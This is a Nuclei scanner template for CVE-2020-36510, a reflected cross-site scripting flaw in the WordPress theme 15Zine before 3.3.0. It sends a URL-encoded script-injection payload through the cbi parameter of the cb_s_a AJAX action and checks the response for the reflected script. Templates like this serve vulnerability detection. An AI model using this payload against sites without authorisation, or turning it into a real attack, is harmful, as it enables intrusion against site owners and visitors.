nuclei-templates/cves/2020/CVE-2020-36510.yaml

id: CVE-2020-36510

info:
  name: 15Zine < 3.3.0 - Reflected Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    The theme does not sanitise and escape the cbi parameter before outputing it back in the response via the cb_s_a AJAX action, leading to a Reflected Cross-Site Scripting
  reference:
    - https://wpscan.com/vulnerability/d1dbc6d7-7488-40c2-bc38-0674ea5b3c95
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36510
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2020-36510
    cwe-id: CWE-79
  metadata:
    verified: true
  tags: xss,wordpress,wp-theme,wp,cve,cve2020

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script> popup-"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200